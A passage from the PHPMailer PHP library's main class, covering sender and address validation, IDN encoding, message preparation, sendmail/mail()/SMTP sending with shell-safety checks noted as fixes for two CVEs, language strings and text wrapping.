     * @param boolean $isHtml True for HTML mode.
     * @return void
     */
    public function isHTML($isHtml = true)
    {
        if ($isHtml) {
            $this->ContentType = 'text/html';
        } 
        else {
            $this->ContentType = 'text/plain';
        }

    }

    /**
     * Set the From and FromName properties.
     * @param string $address
     * @param string $name
     * @param boolean $auto Whether to also set the Sender address, defaults to true
     * @throws phpmailerException
     * @return boolean
     */
    public function setFrom($address, $name = '', $auto = true)
    {
        $address = trim($address);
        $name = trim(preg_replace('/[\r\n]+/', '', $name)); //Strip breaks and trim
        // Don't validate now addresses with IDN. Will be done in send().
        if (($pos = strrpos($address, '@')) === false or
            (!$this->has8bitChars(substr($address, ++$pos)) or !$this->idnSupported()) and
            !$this->validateAddress($address)) {
            $error_message = $this->lang('invalid_address') . " (setFrom) $address";
            $this->setError($error_message);
            $this->edebug($error_message);
            if ($this->exceptions) {
                throw new phpmailerException($error_message);
            }
            return false;
        }
        $this->From = $address;
        $this->FromName = $name;
        if ($auto) {
            if (empty($this->Sender)) {
                $this->Sender = $address;
            }
        }
        return true;
    }

    /**
     * Return the Message-ID header of the last email.
     * Technically this is the value from the last time the headers were created,
     * but it's also the message ID of the last sent message except in
     * pathological cases.
     * @return string
     */
    public function getLastMessageID()
    {
        return $this->lastMessageID;
    }

    /**
     * Check that a string looks like an email address.
     * @param string $address The email address to check
     * @param string|callable $patternselect A selector for the validation pattern to use :
     * * `auto` Pick best pattern automatically;
     * * `pcre8` Use the squiloople.com pattern, requires PCRE > 8.0, PHP >= 5.3.2, 5.2.14;
     * * `pcre` Use old PCRE implementation;
     * * `php` Use PHP built-in FILTER_VALIDATE_EMAIL;
     * * `html5` Use the pattern given by the HTML5 spec for 'email' type form input elements.
     * * `noregex` Don't use a regex: super fast, really dumb.
     * Alternatively you may pass in a callable to inject your own validator, for example:
     * PHPMailer::validateAddress('user@example.com', function($address) {
     *     return (strpos($address, '@') !== false);
     * });
     * You can also set the PHPMailer::$validator static to a callable, allowing built-in methods to use your validator.
     * @return boolean
     * @static
     * @access public
     */
    public static function validateAddress($address, $patternselect = null)
    {
        if (is_null($patternselect)) {
            $patternselect = self::$validator;
        }
        if (is_callable($patternselect)) {
            return call_user_func($patternselect, $address);
        }
        //Reject line breaks in addresses; it's valid RFC5322, but not RFC5321
        if (strpos($address, "\n") !== false or strpos($address, "\r") !== false) {
            return false;
        }
        if (!$patternselect or $patternselect == 'auto') {
            //Check this constant first so it works when extension_loaded() is disabled by safe mode
            //Constant was added in PHP 5.2.4
            if (defined('PCRE_VERSION')) {
                //This pattern can get stuck in a recursive loop in PCRE <= 8.0.2
                if (version_compare(PCRE_VERSION, '8.0.3') >= 0) {
                    $patternselect = 'pcre8';
                } else {
                    $patternselect = 'pcre';
                }
            } elseif (function_exists('extension_loaded') and extension_loaded('pcre')) {
                //Fall back to older PCRE
                $patternselect = 'pcre';
            } else {
                //Filter_var appeared in PHP 5.2.0 and does not require the PCRE extension
                if (version_compare(PHP_VERSION, '5.2.0') >= 0) {
                    $patternselect = 'php';
                } else {
                    $patternselect = 'noregex';
                }
            }
        }
        switch ($patternselect) {
            case 'pcre8':
                /**
                 * Uses the same RFC5322 regex on which FILTER_VALIDATE_EMAIL is based, but allows dotless domains.
                 * @link http://squiloople.com/2009/12/20/email-address-validation/
                 * @copyright 2009-2010 Michael Rushton
                 * Feel free to use and redistribute this code. But please keep this copyright notice.
                 */
                return (boolean)preg_match(
                    '/^(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){255,})(?!(?>(?1)"?(?>\\\[ -~]|[^"])"?(?1)){65,}@)' .
                    '((?>(?>(?>((?>(?>(?>\x0D\x0A)?[\t ])+|(?>[\t ]*\x0D\x0A)?[\t ]+)?)(\((?>(?2)' .
                    '(?>[\x01-\x08\x0B\x0C\x0E-\'*-\[\]-\x7F]|\\\[\x00-\x7F]|(?3)))*(?2)\)))+(?2))|(?2))?)' .
                    '([!#-\'*+\/-9=?^-~-]+|"(?>(?2)(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\x7F]))*' .
                    '(?2)")(?>(?1)\.(?1)(?4))*(?1)@(?!(?1)[a-z0-9-]{64,})(?1)(?>([a-z0-9](?>[a-z0-9-]*[a-z0-9])?)' .
                    '(?>(?1)\.(?!(?1)[a-z0-9-]{64,})(?1)(?5)){0,126}|\[(?:(?>IPv6:(?>([a-f0-9]{1,4})(?>:(?6)){7}' .
                    '|(?!(?:.*[a-f0-9][:\]]){8,})((?6)(?>:(?6)){0,6})?::(?7)?))|(?>(?>IPv6:(?>(?6)(?>:(?6)){5}:' .
                    '|(?!(?:.*[a-f0-9]:){6,})(?8)?::(?>((?6)(?>:(?6)){0,4}):)?))?(25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?9)){3}))\])(?1)$/isD',
                    $address
                );
            case 'pcre':
                //An older regex that doesn't need a recent PCRE
                return (boolean)preg_match(
                    '/^(?!(?>"?(?>\\\[ -~]|[^"])"?){255,})(?!(?>"?(?>\\\[ -~]|[^"])"?){65,}@)(?>' .
                    '[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*")' .
                    '(?>\.(?>[!#-\'*+\/-9=?^-~-]+|"(?>(?>[\x01-\x08\x0B\x0C\x0E-!#-\[\]-\x7F]|\\\[\x00-\xFF]))*"))*' .
                    '@(?>(?![a-z0-9-]{64,})(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)(?>\.(?![a-z0-9-]{64,})' .
                    '(?>[a-z0-9](?>[a-z0-9-]*[a-z0-9])?)){0,126}|\[(?:(?>IPv6:(?>(?>[a-f0-9]{1,4})(?>:' .
                    '[a-f0-9]{1,4}){7}|(?!(?:.*[a-f0-9][:\]]){8,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?' .
                    '::(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,6})?))|(?>(?>IPv6:(?>[a-f0-9]{1,4}(?>:' .
                    '[a-f0-9]{1,4}){5}:|(?!(?:.*[a-f0-9]:){6,})(?>[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4})?' .
                    '::(?>(?:[a-f0-9]{1,4}(?>:[a-f0-9]{1,4}){0,4}):)?))?(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}' .
                    '|[1-9]?[0-9])(?>\.(?>25[0-5]|2[0-4][0-9]|1[0-9]{2}|[1-9]?[0-9])){3}))\])$/isD',
                    $address
                );
            case 'html5':
                /**
                 * This is the pattern used in the HTML5 spec for validation of 'email' type form input elements.
                 * @link http://www.whatwg.org/specs/web-apps/current-work/#e-mail-state-(type=email)
                 */
                return (boolean)preg_match(
                    '/^[a-zA-Z0-9.!#$%&\'*+\/=?^_`{|}~-]+@[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}' .
                    '[a-zA-Z0-9])?(?:\.[a-zA-Z0-9](?:[a-zA-Z0-9-]{0,61}[a-zA-Z0-9])?)*$/sD',
                    $address
                );
            case 'noregex':
                //No PCRE! Do something _very_ approximate!
                //Check the address is 3 chars or longer and contains an @ that's not the first or last char
                return (strlen($address) >= 3
                    and strpos($address, '@') >= 1
                    and strpos($address, '@') != strlen($address) - 1);
            case 'php':
            default:
                return (boolean)filter_var($address, FILTER_VALIDATE_EMAIL);
        }
    }

    /**
     * Tells whether IDNs (Internationalized Domain Names) are supported or not. This requires the
     * "intl" and "mbstring" PHP extensions.
     * @return bool "true" if required functions for IDN support are present
     */
    public function idnSupported()
    {
        // @TODO: Write our own "idn_to_ascii" function for PHP <= 5.2.
        return function_exists('idn_to_ascii') and function_exists('mb_convert_encoding');
    }

    /**
     * Converts IDN in given email address to its ASCII form, also known as punycode, if possible.
     * Important: Address must be passed in same encoding as currently set in PHPMailer::$CharSet.
     * This function silently returns unmodified address if:
     * - No conversion is necessary (i.e. domain name is not an IDN, or is already in ASCII form)
     * - Conversion to punycode is impossible (e.g. required PHP functions are not available)
     *   or fails for any reason (e.g. domain has characters not allowed in an IDN)
     * @see PHPMailer::$CharSet
     * @param string $address The email address to convert
     * @return string The encoded address in ASCII form
     */
    public function punyencodeAddress($address)
    {
        // Verify we have required functions, CharSet, and at-sign.
        if ($this->idnSupported() and
            !empty($this->CharSet) and
            ($pos = strrpos($address, '@')) !== false) {
            $domain = substr($address, ++$pos);
            // Verify CharSet string is a valid one, and domain properly encoded in this CharSet.
            if ($this->has8bitChars($domain) and @mb_check_encoding($domain, $this->CharSet)) {
                $domain = mb_convert_encoding($domain, 'UTF-8', $this->CharSet);
                if (($punycode = defined('INTL_IDNA_VARIANT_UTS46') ?
                    idn_to_ascii($domain, 0, INTL_IDNA_VARIANT_UTS46) :
                    idn_to_ascii($domain)) !== false) {
                    return substr($address, 0, $pos) . $punycode;
                }
            }
        }
        return $address;
    }

    /**
     * Create a message and send it.
     * Uses the sending method specified by $Mailer.
     * @throws phpmailerException
     * @return boolean false on error - See the ErrorInfo property for details of the error.
     */
    public function send()
    {
        try {
            if (!$this->preSend()) {
                return false;
            }
            return $this->postSend();
        } catch (phpmailerException $exc) {
            $this->mailHeader = '';
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Prepare a message for sending.
     * @throws phpmailerException
     * @return boolean
     */
    public function preSend()
    {
        try {
            $this->error_count = 0; // Reset errors
            $this->mailHeader = '';

            // Dequeue recipient and Reply-To addresses with IDN
            foreach (array_merge($this->RecipientsQueue, $this->ReplyToQueue) as $params) {
                $params[1] = $this->punyencodeAddress($params[1]);
                call_user_func_array(array($this, 'addAnAddress'), $params);
            }
            if ((count($this->to) + count($this->cc) + count($this->bcc)) < 1) {
                throw new phpmailerException($this->lang('provide_address'), self::STOP_CRITICAL);
            }

            // Validate From, Sender, and ConfirmReadingTo addresses
            foreach (array('From', 'Sender', 'ConfirmReadingTo') as $address_kind) {
                $this->$address_kind = trim($this->$address_kind);
                if (empty($this->$address_kind)) {
                    continue;
                }
                $this->$address_kind = $this->punyencodeAddress($this->$address_kind);
                if (!$this->validateAddress($this->$address_kind)) {
                    $error_message = $this->lang('invalid_address') . ' (punyEncode) ' . $this->$address_kind;
                    $this->setError($error_message);
                    $this->edebug($error_message);
                    if ($this->exceptions) {
                        throw new phpmailerException($error_message);
                    }
                    return false;
                }
            }

            // Set whether the message is multipart/alternative
            if ($this->alternativeExists()) {
                $this->ContentType = 'multipart/alternative';
            }

            $this->setMessageType();
            // Refuse to send an empty message unless we are specifically allowing it
            if (!$this->AllowEmpty and empty($this->Body)) {
                throw new phpmailerException($this->lang('empty_message'), self::STOP_CRITICAL);
            }

            // Create body before headers in case body makes changes to headers (e.g. altering transfer encoding)
            $this->MIMEHeader = '';
            $this->MIMEBody = $this->createBody();
            // createBody may have added some headers, so retain them
            $tempheaders = $this->MIMEHeader;
            $this->MIMEHeader = $this->createHeader();
            $this->MIMEHeader .= $tempheaders;

            // To capture the complete message when using mail(), create
            // an extra header list which createHeader() doesn't fold in
            if ($this->Mailer == 'mail') {
                if (count($this->to) > 0) {
                    $this->mailHeader .= $this->addrAppend('To', $this->to);
                } else {
                    $this->mailHeader .= $this->headerLine('To', 'undisclosed-recipients:;');
                }
                $this->mailHeader .= $this->headerLine(
                    'Subject',
                    $this->encodeHeader($this->secureHeader(trim($this->Subject)))
                );
            }

            // Sign with DKIM if enabled
            if (!empty($this->DKIM_domain)
                and !empty($this->DKIM_selector)
                and (!empty($this->DKIM_private_string)
                    or (!empty($this->DKIM_private)
                        and self::isPermittedPath($this->DKIM_private)
                        and file_exists($this->DKIM_private)
                    )
                )
            ) {
                $header_dkim = $this->DKIM_Add(
                    $this->MIMEHeader . $this->mailHeader,
                    $this->encodeHeader($this->secureHeader($this->Subject)),
                    $this->MIMEBody
                );
                $this->MIMEHeader = rtrim($this->MIMEHeader, "\r\n ") . self::CRLF .
                    str_replace("\r\n", "\n", $header_dkim) . self::CRLF;
            }
            return true;
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
            return false;
        }
    }

    /**
     * Actually send a message.
     * Send the email via the selected mechanism
     * @throws phpmailerException
     * @return boolean
     */
    public function postSend()
    {
        try {
            // Choose the mailer and send through it
            switch ($this->Mailer) {
                case 'sendmail':
                case 'qmail':
                    return $this->sendmailSend($this->MIMEHeader, $this->MIMEBody);
                case 'smtp':
                    return $this->smtpSend($this->MIMEHeader, $this->MIMEBody);
                case 'mail':
                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
                default:
                    $sendMethod = $this->Mailer.'Send';
                    if (method_exists($this, $sendMethod)) {
                        return $this->$sendMethod($this->MIMEHeader, $this->MIMEBody);
                    }

                    return $this->mailSend($this->MIMEHeader, $this->MIMEBody);
            }
        } catch (phpmailerException $exc) {
            $this->setError($exc->getMessage());
            $this->edebug($exc->getMessage());
            if ($this->exceptions) {
                throw $exc;
            }
        }
        return false;
    }

    /**
     * Send mail using the $Sendmail program.
     * @param string $header The message headers
     * @param string $body The message body
     * @see PHPMailer::$Sendmail
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function sendmailSend($header, $body)
    {
        // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
        if (!empty($this->Sender) and self::isShellSafe($this->Sender)) {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s -f%s';
            } else {
                $sendmailFmt = '%s -oi -f%s -t';
            }
        } else {
            if ($this->Mailer == 'qmail') {
                $sendmailFmt = '%s';
            } else {
                $sendmailFmt = '%s -oi -t';
            }
        }

        // TODO: If possible, this should be changed to escapeshellarg.  Needs thorough testing.
        $sendmail = sprintf($sendmailFmt, escapeshellcmd($this->Sendmail), $this->Sender);

        if ($this->SingleTo) {
            foreach ($this->SingleToArray as $toAddr) {
                if (!@$mail = popen($sendmail, 'w')) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
                fputs($mail, 'To: ' . $toAddr . "\n");
                fputs($mail, $header);
                fputs($mail, $body);
                $result = pclose($mail);
                $this->doCallback(
                    ($result == 0),
                    array($toAddr),
                    $this->cc,
                    $this->bcc,
                    $this->Subject,
                    $body,
                    $this->From
                );
                if ($result != 0) {
                    throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
                }
            }
        } else {
            if (!@$mail = popen($sendmail, 'w')) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
            fputs($mail, $header);
            fputs($mail, $body);
            $result = pclose($mail);
            $this->doCallback(
                ($result == 0),
                $this->to,
                $this->cc,
                $this->bcc,
                $this->Subject,
                $body,
                $this->From
            );
            if ($result != 0) {
                throw new phpmailerException($this->lang('execute') . $this->Sendmail, self::STOP_CRITICAL);
            }
        }
        return true;
    }

    /**
     * Fix CVE-2016-10033 and CVE-2016-10045 by disallowing potentially unsafe shell characters.
     *
     * Note that escapeshellarg and escapeshellcmd are inadequate for our purposes, especially on Windows.
     * @param string $string The string to be validated
     * @see https://github.com/PHPMailer/PHPMailer/issues/924 CVE-2016-10045 bug report
     * @access protected
     * @return boolean
     */
    protected static function isShellSafe($string)
    {
        // Future-proof
        if (escapeshellcmd($string) !== $string
            or !in_array(escapeshellarg($string), array("'$string'", "\"$string\""))
        ) {
            return false;
        }

        $length = strlen($string);

        for ($i = 0; $i < $length; $i++) {
            $c = $string[$i];

            // All other characters have a special meaning in at least one common shell, including = and +.
            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.
            // Note that this does permit non-Latin alphanumeric characters based on the current locale.
            if (!ctype_alnum($c) && strpos('@_-.', $c) === false) {
                return false;
            }
        }

        return true;
    }

    /**
     * Check whether a file path is of a permitted type.
     * Used to reject URLs and phar files from functions that access local file paths,
     * such as addAttachment.
     * @param string $path A relative or absolute path to a file.
     * @return bool
     */
    protected static function isPermittedPath($path)
    {
        return !preg_match('#^[a-z]+://#i', $path);
    }

    /**
     * Send mail using the PHP mail() function.
     * @param string $header The message headers
     * @param string $body The message body
     * @link http://www.php.net/manual/en/book.mail.php
     * @throws phpmailerException
     * @access protected
     * @return boolean
     */
    protected function mailSend($header, $body)
    {
        $toArr = array();
        foreach ($this->to as $toaddr) {
            $toArr[] = $this->addrFormat($toaddr);
        }
        $to = implode(', ', $toArr);

        $params = null;
        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            // CVE-2016-10033, CVE-2016-10045: Don't pass -f if characters will be escaped.
            if (self::isShellSafe($this->Sender)) {
                $params = sprintf('-f%s', $this->Sender);
            }
        }
        if (!empty($this->Sender) and !ini_get('safe_mode') and $this->validateAddress($this->Sender)) {
            $old_from = ini_get('sendmail_from');
            ini_set('sendmail_from', $this->Sender);
        }
        $result = false;
        if ($this->SingleTo and count($toArr) > 1) {
            foreach ($toArr as $toAddr) {
                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);
                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);
            }
        } else {
            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);
            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);
        }
        if (isset($old_from)) {
            ini_set('sendmail_from', $old_from);
        }
        if (!$result) {
            throw new phpmailerException($this->lang('instantiate'), self::STOP_CRITICAL);
        }
        return true;
    }

    /**
     * Get an instance to use for SMTP operations.
     * Override this function to load your own SMTP implementation
     * @return SMTP
     */
    public function getSMTPInstance()
    {
        if (!is_object($this->smtp)) {
            $this->smtp = new SMTP;
        }
        return $this->smtp;
    }

    /**
     * Send mail via SMTP.
     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.
     * Uses the PHPMailerSMTP class by default.
     * @see PHPMailer::getSMTPInstance() to use a different class.
     * @param string $header The message headers
     * @param string $body The message body
     * @throws phpmailerException
     * @uses SMTP
     * @access protected
     * @return boolean
     */
    protected function smtpSend($header, $body)
    {
        $bad_rcpt = array();
        if (!$this->smtpConnect($this->SMTPOptions)) {
            throw new phpmailerException($this->lang('smtp_connect_failed'), self::STOP_CRITICAL);
        }
        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {
            $smtp_from = $this->Sender;
        } else {
            $smtp_from = $this->From;
        }
        if (!$this->smtp->mail($smtp_from)) {
            $this->setError($this->lang('from_failed') . $smtp_from . ' : ' . implode(',', $this->smtp->getError()));
            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);
        }

        // Attempt to send to all recipients
        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {
            foreach ($togroup as $to) {
                if (!$this->smtp->recipient($to[0])) {
                    $error = $this->smtp->getError();
                    $bad_rcpt[] = array('to' => $to[0], 'error' => $error['detail']);
                    $isSent = false;
                } else {
                    $isSent = true;
                }
                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);
            }
        }

        // Only send the DATA command if we have viable recipients
        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {
            throw new phpmailerException($this->lang('data_not_accepted'), self::STOP_CRITICAL);
        }
        if ($this->SMTPKeepAlive) {
            $this->smtp->reset();
        } else {
            $this->smtp->quit();
            $this->smtp->close();
        }
        //Create error message for any bad addresses
        if (count($bad_rcpt) > 0) {
            $errstr = '';
            foreach ($bad_rcpt as $bad) {
                $errstr .= $bad['to'] . ': ' . $bad['error'];
            }
            throw new phpmailerException(
                $this->lang('recipients_failed') . $errstr,
                self::STOP_CONTINUE
            );
        }
        return true;
    }

    /**
     * Initiate a connection to an SMTP server.
     * Returns false if the operation failed.
     * @param array $options An array of options compatible with stream_context_create()
     * @uses SMTP
     * @access public
     * @throws phpmailerException
     * @return boolean
     */
    public function smtpConnect($options = null)
    {
        if (is_null($this->smtp)) {
            $this->smtp = $this->getSMTPInstance();
        }

        //If no options are provided, use whatever is set in the instance
        if (is_null($options)) {
            $options = $this->SMTPOptions;
        }

        // Already connected?
        if ($this->smtp->connected()) {
            return true;
        }

        $this->smtp->setTimeout($this->Timeout);
        $this->smtp->setDebugLevel($this->SMTPDebug);
        $this->smtp->setDebugOutput($this->Debugoutput);
        $this->smtp->setVerp($this->do_verp);
        $hosts = explode(';', $this->Host);
        $lastexception = null;

        foreach ($hosts as $hostentry) {
            $hostinfo = array();
            if (!preg_match(
                '/^((ssl|tls):\/\/)*([a-zA-Z0-9\.-]*|\[[a-fA-F0-9:]+\]):?([0-9]*)$/',
                trim($hostentry),
                $hostinfo
            )) {
                // Not a valid host entry
                $this->edebug('Ignoring invalid host: ' . $hostentry);
                continue;
            }
            // $hostinfo[2]: optional ssl or tls prefix
            // $hostinfo[3]: the hostname
            // $hostinfo[4]: optional port number
            // The host string prefix can temporarily override the current setting for SMTPSecure
            // If it's not specified, the default value is used
            $prefix = '';
            $secure = $this->SMTPSecure;
            $tls = ($this->SMTPSecure == 'tls');
            if ('ssl' == $hostinfo[2] or ('' == $hostinfo[2] and 'ssl' == $this->SMTPSecure)) {
                $prefix = 'ssl://';
                $tls = false; // Can't have SSL and TLS at the same time
                $secure = 'ssl';
            } elseif ($hostinfo[2] == 'tls') {
                $tls = true;
                // tls doesn't use a prefix
                $secure = 'tls';
            }
            //Do we need the OpenSSL extension?
            $sslext = defined('OPENSSL_ALGO_SHA1');
            if ('tls' === $secure or 'ssl' === $secure) {
                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled
                if (!$sslext) {
                    throw new phpmailerException($this->lang('extension_missing').'openssl', self::STOP_CRITICAL);
                }
            }
            $host = $hostinfo[3];
            $port = $this->Port;
            $tport = (integer)$hostinfo[4];
            if ($tport > 0 and $tport < 65536) {
                $port = $tport;
            }
            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {
                try {
                    if ($this->Helo) {
                        $hello = $this->Helo;
                    } else {
                        $hello = $this->serverHostname();
                    }
                    $this->smtp->hello($hello);
                    //Automatically enable TLS encryption if:
                    // * it's not disabled
                    // * we have openssl extension
                    // * we are not already using SSL
                    // * the server offers STARTTLS
                    if ($this->SMTPAutoTLS and $sslext and $secure != 'ssl' and $this->smtp->getServerExt('STARTTLS')) {
                        $tls = true;
                    }
                    if ($tls) {
                        if (!$this->smtp->startTLS()) {
                            throw new phpmailerException($this->lang('connect_host'));
                        }
                        // We must resend EHLO after TLS negotiation
                        $this->smtp->hello($hello);
                    }
                    if ($this->SMTPAuth) {
                        if (!$this->smtp->authenticate(
                            $this->Username,
                            $this->Password,
                            $this->AuthType,
                            $this->Realm,
                            $this->Workstation
                        )
                        ) {
                            throw new phpmailerException($this->lang('authenticate'));
                        }
                    }
                    return true;
                } catch (phpmailerException $exc) {
                    $lastexception = $exc;
                    $this->edebug($exc->getMessage());
                    // We must have connected, but then failed TLS or Auth, so close connection nicely
                    $this->smtp->quit();
                }
            }
        }
        // If we get here, all connection attempts have failed, so close connection hard
        $this->smtp->close();
        // As we've caught all exceptions, just report whatever the last one was
        if ($this->exceptions and !is_null($lastexception)) {
            throw $lastexception;
        }
        return false;
    }

    /**
     * Close the active SMTP session if one exists.
     * @return void
     */
    public function smtpClose()
    {
        if (is_a($this->smtp, 'SMTP')) {
            if ($this->smtp->connected()) {
                $this->smtp->quit();
                $this->smtp->close();
            }
        }
    }

    /**
     * Set the language for error messages.
     * Returns false if it cannot load the language file.
     * The default language is English.
     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")
     * @param string $lang_path Path to the language file directory, with trailing separator (slash)
     * @return boolean
     * @access public
     */
    public function setLanguage($langcode = 'en', $lang_path = '')
    {
        // Backwards compatibility for renamed language codes
        $renamed_langcodes = array(
            'br' => 'pt_br',
            'cz' => 'cs',
            'dk' => 'da',
            'no' => 'nb',
            'se' => 'sv',
            'sr' => 'rs'
        );

        if (isset($renamed_langcodes[$langcode])) {
            $langcode = $renamed_langcodes[$langcode];
        }

        // Define full set of translatable strings in English
        $PHPMAILER_LANG = array(
            'authenticate' => 'SMTP Error: Could not authenticate.',
            'connect_host' => 'SMTP Error: Could not connect to SMTP host.',
            'data_not_accepted' => 'SMTP Error: data not accepted.',
            'empty_message' => 'Message body empty',
            'encoding' => 'Unknown encoding: ',
            'execute' => 'Could not execute: ',
            'file_access' => 'Could not access file: ',
            'file_open' => 'File Error: Could not open file: ',
            'from_failed' => 'The following From address failed: ',
            'instantiate' => 'Could not instantiate mail function.',
            'invalid_address' => 'Invalid address: ',
            'mailer_not_supported' => ' mailer is not supported.',
            'provide_address' => 'You must provide at least one recipient email address.',
            'recipients_failed' => 'SMTP Error: The following recipients failed: ',
            'signing' => 'Signing Error: ',
            'smtp_connect_failed' => 'SMTP connect() failed.',
            'smtp_error' => 'SMTP server error: ',
            'variable_set' => 'Cannot set or reset variable: ',
            'extension_missing' => 'Extension missing: '
        );
        if (empty($lang_path)) {
            // Calculate an absolute path so it can work if CWD is not here
            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . 'language'. DIRECTORY_SEPARATOR;
        }
        //Validate $langcode
        if (!preg_match('/^[a-z]{2}(?:_[a-zA-Z]{2})?$/', $langcode)) {
            $langcode = 'en';
        }
        $foundlang = true;
        $lang_file = $lang_path . 'phpmailer.lang-' . $langcode . '.php';
        // There is no English translation file
        if ($langcode != 'en') {
            // Make sure language file path is readable
            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {
                $foundlang = false;
            } else {
                // Overwrite language-specific strings.
                // This way we'll never have missing translation keys.
                $foundlang = include $lang_file;
            }
        }
        $this->language = $PHPMAILER_LANG;
        return (boolean)$foundlang; // Returns false if language not found
    }

    /**
     * Get the array of strings for the current language.
     * @return array
     */
    public function getTranslations()
    {
        return $this->language;
    }

    /**
     * Create recipient headers.
     * @access public
     * @param string $type
     * @param array $addr An array of recipient,
     * where each recipient is a 2-element indexed array with element 0 containing an address
     * and element 1 containing a name, like:
     * array(array('joe@example.com', 'Joe User'), array('zoe@example.com', 'Zoe User'))
     * @return string
     */
    public function addrAppend($type, $addr)
    {
        $addresses = array();
        foreach ($addr as $address) {
            $addresses[] = $this->addrFormat($address);
        }
        return $type . ': ' . implode(', ', $addresses) . $this->LE;
    }

    /**
     * Format an address for use in a message header.
     * @access public
     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name
     *      like array('joe@example.com', 'Joe User')
     * @return string
     */
    public function addrFormat($addr)
    {
        if (empty($addr[1])) { // No name provided
            return $this->secureHeader($addr[0]);
        } else {
            return $this->encodeHeader($this->secureHeader($addr[1]), 'phrase') . ' <' . $this->secureHeader(
                $addr[0]
            ) . '>';
        }
    }

    /**
     * Word-wrap message.
     * For use with mailers that do not automatically perform wrapping
     * and for quoted-printable encoded messages.
     * Original written by philippe.
     * @param string $message The message to wrap
     * @param integer $length The line length to wrap to
     * @param boolean $qp_mode Whether to run in Quoted-Printable mode
     * @access public
     * @return string
     */
    public function wrapText($message, $length, $qp_mode = false)
    {
        if ($qp_mode) {
            $soft_break = sprintf(' =%s', $this->LE);
        } else {
            $soft_break = $this->LE;
        }
        // If utf-8 encoding is used, we will need to make sure we don't
        // split multibyte characters when we wrap
        $is_utf8 = (strtolower($this->CharSet) == 'utf-8');
        $lelen = strlen($this->LE);
        $crlflen = strlen(self::CRLF);

        $message = $this->fixEOL($message);
        //Remove a trailing line break
        if (substr($message, -$lelen) == $this->LE) {
            $message = substr($message, 0, -$lelen);
        }

        //Split message into lines
        $lines = explode($this->LE, $message);
        //Message will be rebuilt in here
        $message = '';
        foreach ($lines as $line) {
            $words = explode(' ', $line);
            $buf = '';
            $firstword = true;
            foreach ($words as $word) {
                if ($qp_mode and (strlen($word) > $length)) {
                    $space_left = $length - strlen($buf) - $crlflen;
                    if (!$firstword) {
                        if ($space_left > 20) {
                            $len = $space_left;
                            if ($is_utf8) {
                                $len = $this->utf8CharBoundary($word, $len);
                            } elseif (substr($word, $len - 1, 1) == '=') {
                                $len--;
                            } elseif (substr($word, $len - 2, 1) == '=') {
                                $len -= 2;
                            }
                            $part = substr($word, 0, $len);
                            $word = substr($word, $len);
                            $buf .= ' ' . $part;
                            $message .= $buf . sprintf('=%s', self::CRLF);
                        } else {
                            $message .= $buf . $soft_break;
                        }
                        $buf = '';
                    }
                    while (strlen($word) > 0) {
                        if ($length <= 0) {
                            break;
                        }
                        $len = $length;
                        if ($is_utf8) {
                            $len = $this->utf8CharBoundary($word, $len);
                        } elseif (substr($word, $len - 1, 1) == '=') {
                            $len--;
                        } elseif (substr($word, $len - 2, 1) == '=') {
                            $len -= 2;
                        }
                        $part = substr($word, 0, $len);
                        $word = substr($word, $len);

                        if (strlen($word) > 0) {
                            $message .= $part . sprintf('=%s', self::CRLF);
                        } else {
                            $buf = $part;
                        }
                    }
                } else {
                    $buf_o = $buf;
                    if (!$firstword) {
                        $buf .= ' ';
                    }
                    $buf .= $word;

                    if (strlen($buf) > $length and $buf_o != '') {
                        $message .= $buf_o . $soft_break;
                        $buf = $word;
                    }
                }
                $firstword = false;
            }
            $message .= $buf . self::CRLF;
        }

        return $message;
    }

    /**
     * Find the last character boundary prior to $maxLength in a utf-8
     * quoted-printable encoded string.
     * Original written by Colin Brown.
     * @access public
     * @param string $encodedText utf-8 QP text
     * @param integer $maxLength Find the last character boundary prior to this length
     * @return integer
     */
    public function utf8CharBoundary($encodedText, $maxLength)
    {
        $foundSplitPos = false;
        $lookBack = 3;
        while (!$foundSplitPos) {
            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);
            $encodedCharPos = strpos($lastChunk, '=');
